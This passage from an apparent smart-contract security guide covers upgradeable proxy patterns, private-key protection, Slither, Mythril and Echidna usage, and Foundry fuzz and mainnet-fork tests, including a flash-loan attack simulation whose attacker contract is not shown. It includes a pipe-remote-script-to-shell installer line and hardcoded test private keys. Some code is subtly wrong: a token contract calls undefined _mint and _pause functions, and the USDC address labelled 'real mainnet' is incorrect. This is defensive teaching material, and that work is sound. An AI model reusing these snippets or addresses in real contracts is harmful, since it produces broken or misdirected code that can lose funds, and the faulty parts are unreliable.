function mint(address to, uint256 amount) external onlyOwner {
balances[to] += amount;
totalSupply += amount;
}
}
3. UUPS (Universal Upgradeable Proxy Standard):
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
contract UUPSSecureImplementation is UUPSUpgradeable, OwnableUpgradeable {
mapping(address => uint256) public balances;
function initialize(address _owner) public initializer {
__Ownable_init();
_transferOwnership(_owner);
}
function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
function mint(address to, uint256 amount) external onlyOwner {
balances[to] += amount;
}
}
4. Beacon Proxy Pattern for Multiple Proxies:
import "@openzeppelin/contracts/proxy/beacon/BeaconProxy.sol";
import "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
contract SecureBeaconSystem {
UpgradeableBeacon public immutable beacon;
constructor(address implementation, address owner) {
beacon = new UpgradeableBeacon(implementation);
beacon.transferOwnership(owner);
}
function createProxy(bytes memory data) external returns (address) {
return address(new BeaconProxy(address(beacon), data));
}
}
10. Private Key & Wallet Security [CRITICAL SEVERITY]#
Vulnerability Description: Compromise of private keys leads to complete control over accounts and contracts. While not a smart contract vulnerability per se, poor key management amplifies all other vulnerabilities.
Attack Vectors:
1. Phishing Attacks:
- Fake DeFi interfaces that steal seed phrases
- Malicious browser extensions
- Social engineering via Discord/Telegram
2. Technical Attacks:
- Keyloggers and clipboard hijacking malware
- Weak random number generation during key creation
- Insecure storage (plaintext files, cloud storage)
3. Supply Chain Attacks:
- Compromised hardware wallets (rare but possible)
- Malicious NPM packages in development dependencies
- Compromised development environments
Detection and Prevention:
Hardware Wallet Integration Example:
// Using Ledger with ethers.js
const { LedgerSigner } = require('@ethersproject/hardware-wallets');
async function secureContractInteraction() {
// Connect to Ledger device
const ledgerSigner = new LedgerSigner(provider, "m/44'/60'/0'/0/0");
// All transactions require physical confirmation
const contract = new ethers.Contract(contractAddress, abi, ledgerSigner);
try {
const tx = await contract.criticalFunction(params);
console.log('Transaction sent:', tx.hash);
const receipt = await tx.wait();
console.log('Transaction confirmed:', receipt.transactionHash);
} catch (error) {
console.error('Transaction failed:', error);
}
}
Multi-Signature Implementation:
// Gnosis Safe integration
contract MultiSigProtectedToken {
address public gnosisSafe;
modifier onlyMultiSig() {
require(msg.sender == gnosisSafe, "Only multisig can call");
_;
}
constructor(address _gnosisSafe) {
gnosisSafe = _gnosisSafe;
}
function mint(address to, uint256 amount) external onlyMultiSig {
_mint(to, amount);
}
function pause() external onlyMultiSig {
_pause();
}
}
Secure Development Practices:
1. Environment Isolation:
# Use separate environments for development and production
export NODE_ENV=development
export PRIVATE_KEY_DEV="0x..." # Test key only
export RPC_URL_DEV="http://127.0.0.1:8545"
# Production (never expose production keys in scripts)
export NODE_ENV=production
# Use hardware wallet or secure key management service
2. Key Management Script:
// secure-key-manager.js
const { ethers } = require('ethers');
const fs = require('fs');
const path = require('path');
class SecureKeyManager {
constructor() {
this.keystore = path.join(process.env.HOME, '.ethereum', 'keystore');
}
// Generate new wallet with strong entropy
generateWallet() {
const wallet = ethers.Wallet.createRandom();
console.log('New wallet generated:');
console.log('Address:', wallet.address);
console.log('SECURELY STORE THIS MNEMONIC:', wallet.mnemonic.phrase);
console.log('Private key (for development only):', wallet.privateKey);
return wallet;
}
// Encrypt and store wallet
async encryptWallet(wallet, password) {
if (!password || password.length < 12) {
throw new Error('Password must be at least 12 characters');
}
const encryptedJson = await wallet.encrypt(password);
const filename = `${wallet.address.toLowerCase()}.json`;
const filepath = path.join(this.keystore, filename);
if (!fs.existsSync(this.keystore)) {
fs.mkdirSync(this.keystore, { recursive: true });
}
fs.writeFileSync(filepath, encryptedJson);
console.log(`Wallet encrypted and saved to: ${filepath}`);
}
// Load encrypted wallet
async loadWallet(address, password) {
const filename = `${address.toLowerCase()}.json`;
const filepath = path.join(this.keystore, filename);
if (!fs.existsSync(filepath)) {
throw new Error(`Wallet file not found: ${filepath}`);
}
const encryptedJson = fs.readFileSync(filepath, 'utf8');
const wallet = await ethers.Wallet.fromEncryptedJson(encryptedJson, password);
return wallet;
}
// Validate address format
isValidAddress(address) {
return ethers.utils.isAddress(address);
}
// Check if private key is secure (not from known test sets)
isSecurePrivateKey(privateKey) {
const testKeys = [
'0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80', // Anvil #0
'0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d', // Anvil #1
// Add more known test keys
];
return !testKeys.includes(privateKey.toLowerCase());
}
}
// Usage example
async function main() {
const keyManager = new SecureKeyManager();
// Generate new wallet
const wallet = keyManager.generateWallet();
// Encrypt with strong password
const password = 'your-very-strong-password-here';
await keyManager.encryptWallet(wallet, password);
// Load wallet later
const loadedWallet = await keyManager.loadWallet(wallet.address, password);
console.log('Wallet loaded successfully:', loadedWallet.address);
}
Automated Analysis Tools#
Static Analysis with Slither#
Installation and Setup:
# Install Slither
pip3 install slither-analyzer
# Install additional dependencies for better analysis
pip3 install crytic-compile
# Verify installation
slither --version
Basic Usage:
# Analyze a single file
slither src/MyContract.sol
# Analyze entire project
slither .
# Analyze with specific detectors
slither . --detect reentrancy-eth,access-control,timestamp
# Generate detailed report
slither . --json results.json
# Check for specific vulnerability classes
slither . --detect all --exclude-informational --exclude-optimization
Advanced Slither Configuration:
// slither.config.json
{
"detectors_to_run": [
"reentrancy-eth",
"reentrancy-no-eth",
"access-control",
"assembly",
"assert-state-change",
"backdoor",
"erc20-interface",
"erc721-interface",
"incorrect-equality",
"locked-ether",
"low-level-calls",
"naming-convention",
"pragma",
"solc-version",
"suicidal",
"timestamp",
"tx-origin",
"unused-return"
],
"detectors_to_exclude": [
"external-function",
"public-function",
"similar-names"
],
"exclude_dependencies": true,
"exclude_informational": false,
"exclude_low": true,
"exclude_medium": false,
"exclude_high": false
}
Custom Slither Detectors:
# custom_detector.py
from slither.detectors.abstract_detector import AbstractDetector, DetectorClassification
class CustomReentrancyDetector(AbstractDetector):
ARGUMENT = 'custom-reentrancy'
HELP = 'Custom reentrancy detector with specific patterns'
IMPACT = DetectorClassification.HIGH
CONFIDENCE = DetectorClassification.MEDIUM
def _detect(self):
results = []
for contract in self.compilation_unit.contracts_derived:
for function in contract.functions_and_modifiers_declared:
if self._is_vulnerable_to_reentrancy(function):
info = [function, " is vulnerable to reentrancy\n"]
res = self.generate_result(info)
results.append(res)
return results
def _is_vulnerable_to_reentrancy(self, function):
# Custom logic to detect reentrancy patterns
external_calls = []
state_changes_after_call = []
for node in function.nodes:
if node.external_calls_as_expressions:
external_calls.extend(node.external_calls_as_expressions)
if node.state_variables_written:
if external_calls: # If there were external calls before this
state_changes_after_call.extend(node.state_variables_written)
return len(external_calls) > 0 and len(state_changes_after_call) > 0
Dynamic Analysis with Mythril#
Installation:
# Install Mythril
pip3 install mythril
# Install with extra dependencies
pip3 install mythril[laser]
# Verify installation
myth version
Basic Usage:
# Analyze Solidity file
myth analyze src/MyContract.sol
# Analyze deployed contract
myth analyze -a 0x... --rpc infura
# Analyze with custom timeout and depth
myth analyze src/MyContract.sol --execution-timeout 300 --max-depth 10
# Generate detailed report
myth analyze src/MyContract.sol --format json -o mythril_report.json
Advanced Mythril Configuration:
# Create comprehensive analysis script
#!/bin/bash
CONTRACT_FILE="src/VulnerableContract.sol"
OUTPUT_DIR="analysis_results"
RPC_URL="https://eth-mainnet.alchemyapi.io/v2/YOUR_KEY"
mkdir -p $OUTPUT_DIR
echo "Starting Mythril analysis..."
# Basic analysis
myth analyze $CONTRACT_FILE \
--format json \
-o $OUTPUT_DIR/basic_analysis.json
# Deep analysis with longer timeout
myth analyze $CONTRACT_FILE \
--execution-timeout 600 \
--max-depth 15 \
--strategy bfs \
--format markdown \
-o $OUTPUT_DIR/deep_analysis.md
# Transaction analysis (if deployed)
if [ ! -z "$CONTRACT_ADDRESS" ]; then
myth analyze -a $CONTRACT_ADDRESS \
--rpc $RPC_URL \
--format json \
-o $OUTPUT_DIR/deployed_analysis.json
fi
echo "Analysis complete. Results in $OUTPUT_DIR/"
Fuzzing with Echidna#
Installation:
# Install via Nix (recommended)
curl -L https://nixos.org/nix/install | sh
nix-env -i -A nixpkgs.echidna
# Or download binary from GitHub releases
wget https://github.com/crytic/echidna/releases/download/v2.2.1/echidna-2.2.1-Linux.tar.gz
tar -xzf echidna-2.2.1-Linux.tar.gz
sudo mv echidna /usr/local/bin/
Echidna Test Contract Example:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./VulnerableContract.sol";
contract EchidnaTest {
VulnerableContract target;
address echidna = msg.sender;
constructor() {
target = new VulnerableContract();
}
// Invariant: contract balance should never exceed initial funding
function echidna_balance_check() public view returns (bool) {
return address(target).balance <= 100 ether;
}
// Invariant: total user balances should equal contract balance
function echidna_accounting_check() public view returns (bool) {
// This would need to iterate through all users
// Simplified version:
return true; // Replace with actual accounting logic
}
// Property: withdrawal should only work with sufficient balance
function test_withdraw(uint256 amount) public {
uint256 balanceBefore = target.balances(echidna);
if (amount <= balanceBefore) {
uint256 contractBalanceBefore = address(target).balance;
target.withdraw(amount);
// Check post-conditions
assert(target.balances(echidna) == balanceBefore - amount);
assert(address(target).balance == contractBalanceBefore - amount);
}
}
// Test deposit functionality
function test_deposit(uint256 amount) public payable {
require(amount > 0 && amount <= 10 ether);
uint256 balanceBefore = target.balances(echidna);
target.deposit{value: amount}();
assert(target.balances(echidna) == balanceBefore + amount);
}
}
Echidna Configuration:
# echidna.yaml
testMode: assertion
testLimit: 10000
shrinkLimit: 5000
seqLen: 100
contractAddr: "0x00a329c0648769A73afAc7F9381E08FB43dBEA72"
deployer: "0x00a329c0648769a73afac7f9381e08fb43dbea70"
sender: ["0x00a329c0648769a73afac7f9381e08fb43dbea70", "0x11a329c0648769a73afac7f9381e08fb43dbea70"]
psender: "0x00a329c0648769a73afac7f9381e08fb43dbea70"
prefix: "echidna_"
cryticArgs: ["--solc-version", "0.8.19"]
multi-abi: true
corpus-dir: "corpus"
coverage: true
Running Echidna:
# Basic fuzzing
echidna src/EchidnaTest.sol --contract EchidnaTest
# With configuration file
echidna src/EchidnaTest.sol --contract EchidnaTest --config echidna.yaml
# Generate coverage report
echidna src/EchidnaTest.sol --contract EchidnaTest --coverage
# Continuous fuzzing with corpus
echidna src/EchidnaTest.sol --contract EchidnaTest --corpus-dir ./corpus
Advanced Testing with Foundry#
Property-Based Testing#
Comprehensive Fuzz Testing:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test, console2} from "forge-std/Test.sol";
import {VulnerableContract} from "../src/VulnerableContract.sol";
contract AdvancedFuzzTest is Test {
VulnerableContract public target;
// Track all addresses that have interacted
address[] public actors;
mapping(address => bool) public isActor;
function setUp() public {
target = new VulnerableContract();
vm.deal(address(target), 100 ether);
}
// Advanced fuzzing with multiple actors
function testFuzz_MultiActorInteractions(
address[3] memory users,
uint256[3] memory deposits,
uint256[3] memory withdrawals
) public {
// Bound inputs to reasonable ranges
for (uint i = 0; i < 3; i++) {
vm.assume(users[i] != address(0));
vm.assume(users[i] != address(this));
vm.assume(users[i] != address(target));
deposits[i] = bound(deposits[i], 0.01 ether, 10 ether);
withdrawals[i] = bound(withdrawals[i], 0, deposits[i]);
// Add to actor list
if (!isActor[users[i]]) {
actors.push(users[i]);
isActor[users[i]] = true;
}
}
// Execute deposits
for (uint i = 0; i < 3; i++) {
vm.deal(users[i], deposits[i]);
vm.prank(users[i]);
target.deposit{value: deposits[i]}();
}
// Verify deposits
for (uint i = 0; i < 3; i++) {
assertEq(target.balances(users[i]), deposits[i]);
}
// Execute withdrawals
for (uint i = 0; i < 3; i++) {
if (withdrawals[i] > 0) {
vm.prank(users[i]);
target.withdraw(withdrawals[i]);
assertEq(target.balances(users[i]), deposits[i] - withdrawals[i]);
}
}
}
// Test extreme values and edge cases
function testFuzz_EdgeCases(uint256 amount) public {
address user = makeAddr("fuzzUser");
// Test with maximum possible values
if (amount == type(uint256).max) {
vm.expectRevert(); // Should revert on overflow
vm.deal(user, amount);
vm.prank(user);
target.deposit{value: amount}();
}
// Test with zero values
if (amount == 0) {
vm.prank(user);
vm.expectRevert("Amount must be positive");
target.withdraw(amount);
}
// Test with very small values
if (amount > 0 && amount < 1000) {
vm.deal(user, amount);
vm.prank(user);
target.deposit{value: amount}();
assertEq(target.balances(user), amount);
}
}
// Invariant testing
function invariant_ContractBalanceMatchesUserBalances() public {
uint256 totalUserBalances = 0;
for (uint i = 0; i < actors.length; i++) {
totalUserBalances += target.balances(actors[i]);
}
assertEq(address(target).balance, totalUserBalances);
}
function invariant_NoUserHasNegativeBalance() public {
for (uint i = 0; i < actors.length; i++) {
assertGe(target.balances(actors[i]), 0);
}
}
// Stateful fuzzing handler
function deposit(uint256 amount) public {
amount = bound(amount, 0.01 ether, 100 ether);
address user = msg.sender;
if (!isActor[user]) {
actors.push(user);
isActor[user] = true;
}
vm.deal(user, amount);
vm.prank(user);
target.deposit{value: amount}();
}
function withdraw(uint256 amount) public {
address user = msg.sender;
uint256 maxWithdraw = target.balances(user);
if (maxWithdraw == 0) return; // Skip if no balance
amount = bound(amount, 1, maxWithdraw);
vm.prank(user);
target.withdraw(amount);
}
}
Foundry Configuration for Advanced Testing:
# foundry.toml
[profile.default]
src = "src"
out = "out"
libs = ["lib"]
solc_version = "0.8.19"
optimizer = true
optimizer_runs = 200
via_ir = false
# Fuzzing configuration
fuzz_runs = 10000
fuzz_max_test_rejects = 1000000
fuzz_seed = '0x3e8'
# Invariant testing
invariant_runs = 1000
invariant_depth = 100
invariant_fail_on_revert = true
invariant_call_override = false
[profile.intense]
fuzz_runs = 100000
invariant_runs = 10000
invariant_depth = 1000
[profile.ci]
fuzz_runs = 1000
invariant_runs = 100
Advanced Test Execution:
# Run all tests with high verbosity
forge test -vvvv
# Run only fuzz tests
forge test --match-test "testFuzz"
# Run with specific profile
forge test --profile intense
# Run invariant tests only
forge test --match-test "invariant"
# Generate coverage report
forge coverage --report lcov
# Run tests with specific seed for reproducibility
forge test --fuzz-seed 0x123456789
# Test specific contract
forge test --match-contract AdvancedFuzzTest
# Run tests and save gas report
forge test --gas-report > gas_report.txt
Integration Testing#
Mainnet Fork Integration Tests:
contract MainnetIntegrationTest is Test {
// Real mainnet addresses
address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant USDC = 0xA0b86a33E6417c7e3c3C8F4b8ba7b1Cb2D6eE7dF;
IUniswapV2Router02 router;
IERC20 weth;
IERC20 usdc;
function setUp() public {
// Fork mainnet at specific block
vm.createFork("https://eth-mainnet.alchemyapi.io/v2/YOUR_KEY", 18_500_000);
router = IUniswapV2Router02(UNISWAP_V2_ROUTER);
weth = IERC20(WETH);
usdc = IERC20(USDC);
}
function test_FlashLoanAttackSimulation() public {
// Deploy vulnerable protocol on fork
VulnerableProtocol protocol = new VulnerableProtocol(USDC, WETH);
// Fund protocol with initial liquidity
deal(USDC, address(protocol), 1000000 * 1e6); // 1M USDC
// Deploy and execute flash loan attack
FlashLoanAttacker attacker = new FlashLoanAttacker(
address(protocol),
address(router)
);
// Fund attacker with initial capital
deal(WETH, address(attacker), 100 ether);
// Record state before attack
uint256 protocolBalanceBefore = usdc.balanceOf(address(protocol));
uint256 attackerBalanceBefore = usdc.balanceOf(address(attacker));
// Execute attack
vm.prank(address(attacker));
attacker.executeAttack();
// Verify attack success
uint256 protocolBalanceAfter = usdc.balanceOf(address(protocol));
uint256 attackerBalanceAfter = usdc.balanceOf(address(attacker));
assertLt(protocolBalanceAfter, protocolBalanceBefore);
assertGt(attackerBalanceAfter, attackerBalanceBefore);
console2.log("Protocol lost:", protocolBalanceBefore - protocolBalanceAfter);
console2.log("Attacker gained:", attackerBalanceAfter - attackerBalanceBefore);
}
}